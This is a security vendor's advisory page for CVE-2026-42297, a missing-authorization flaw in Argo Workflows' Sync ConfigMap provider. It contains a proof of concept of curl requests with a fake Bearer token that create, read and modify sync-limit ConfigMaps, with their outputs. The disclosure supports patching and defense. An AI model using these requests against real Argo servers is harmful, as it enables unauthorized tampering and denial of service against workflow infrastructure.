Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-42297 — argo-workflows

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-862 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Argo has Missing Authorization in its Sync ConfigMap Provider

Summary

The Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.

Details

The ConfigMap-backed provider (server/sync/sync_cm.go) has no auth.CanI checks:

```go

// sync_cm.go — UNPROTECTED

func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {

// NO auth.CanI check

kubeClient := auth.GetKubeClient(ctx)

configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)

// ... directly creates/updates ConfigMaps

}

```

  • server/sync/sync_cm.go — lines 23-155
  • All four SyncService endpoints: CreateSyncLimit, GetSyncLimit, UpdateSyncLimit, DeleteSyncLimit

PoC

Prerequisites

  • Argo Server running with --auth-mode=server
  • Port-forward: kubectl port-forward -n argo svc/argo-server 2746:2746

Step 1: Create Sync Limit (Fake Token)

```bash

curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \

-H "Authorization: Bearer fake-token" \

-H "Content-Type: application/json" \

-d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'

```

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Verify ConfigMap was created in Kubernetes:

```bash

kubectl get configmap test-sync -n default

```

```

NAME DATA AGE

test-sync 1 74s

```

Step 2: Read Sync Limit (Fake Token)

```bash

curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \

-H "Authorization: Bearer fake-token"

```

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Step 3: Update Sync Limit (Fake Token)

```bash

curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \

-H "Authorization: Bearer fake-token" \

-H "Content-Type: application/json" \

-d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'

```

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}

Verify the ConfigMap was actually modified:

```bash

kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'

```

```

999

```

Impact

An attacker with network access to the Argo Server can:

1. Denial of Service — Set sync limits to 0 or 1, blocking all parallel workflow execution

2. Workflow Disruption — Modify existing sync limits to break running workflows

3. Information Disclosure — Read ConfigMap data that may contain sensitive configuration

4. Arbitrary ConfigMap Manipulation — Create/delete ConfigMaps in any namespace accessible to the server's service account

Related CVEs

  • CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing auth.CanI check)
  • CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-42297 is classified as CWE-862: Missing Authorization. No authorisation check is performed before carrying out a restricted action.

Affected software

CVE-2026-42297 is recorded against 5 packages.

  • argo-workflows
  • github.com/argoproj/argo-workflows
  • github.com/argoproj/argo-workflows/v2
  • github.com/argoproj/argo-workflows/v3
  • github.com/argoproj/argo-workflows/v4

Timeline and source

Published on 12 May 2026 and last revised on 24 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Web)
nvd.nist.gov (Web)
access.redhat.com (Web)
bugzilla.redhat.com (Web)
security.access.redhat.com (Web)

Other advisories for this package

argo-workflows has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-862: Missing Authorization) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
CWE CWE-862
Public Exploit ⚠️ Yes
Source OSV
Published 2026-05-12
Updated 2026-08-20
Modified 2026-07-24

Affected Packages

Software From version Fixed in
argo-workflows — —
github.com/argoproj/argo-workflows — —
github.com/argoproj/argo-workflows/v2 — —
github.com/argoproj/argo-workflows/v3 — —
github.com/argoproj/argo-workflows/v4 — —

Similar Threats

Exploit Protection

Are you running argo-workflows?

CVE-2026-42297 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-42297 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓